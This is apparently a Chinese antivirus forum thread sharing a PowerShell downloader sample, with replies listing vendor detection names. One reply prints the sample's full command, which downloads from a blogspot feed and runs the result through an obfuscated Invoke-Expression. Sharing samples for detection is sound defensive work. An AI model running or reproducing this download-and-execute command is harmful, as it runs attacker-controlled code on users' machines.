powershell/downloader (2023-08-13)

显示全部楼层 · 发表于 2023-8-13 18:23:42

火绒
Trojan/Generic!ADC72BA675A8787E

显示全部楼层 · 发表于 2023-8-13 18:40:29

卡巴 HEUR:Trojan.VBS.Agent.gen

显示全部楼层 · 发表于 2023-8-13 20:16:49

瑞星防病毒安全软件 killed

显示全部楼层 · 发表于 2023-8-13 21:39:24

显示全部楼层 · 发表于 2023-8-14 21:40:07

恶意代码
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" irm px13.blogspot.com/atom.xml | .('{1}{0}'-f'dasdwdwd','I').replace('dasdwdwd','ex')

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 之后访问 px13.blogspot.com:80
然后就没有然后了

显示全部楼层 · 发表于 2023-8-15 17:25:00

金山毒霸kill

[病毒样本] powershell/downloader (2023-08-13)

本帖子中包含更多资源

本帖子中包含更多资源

本帖子中包含更多资源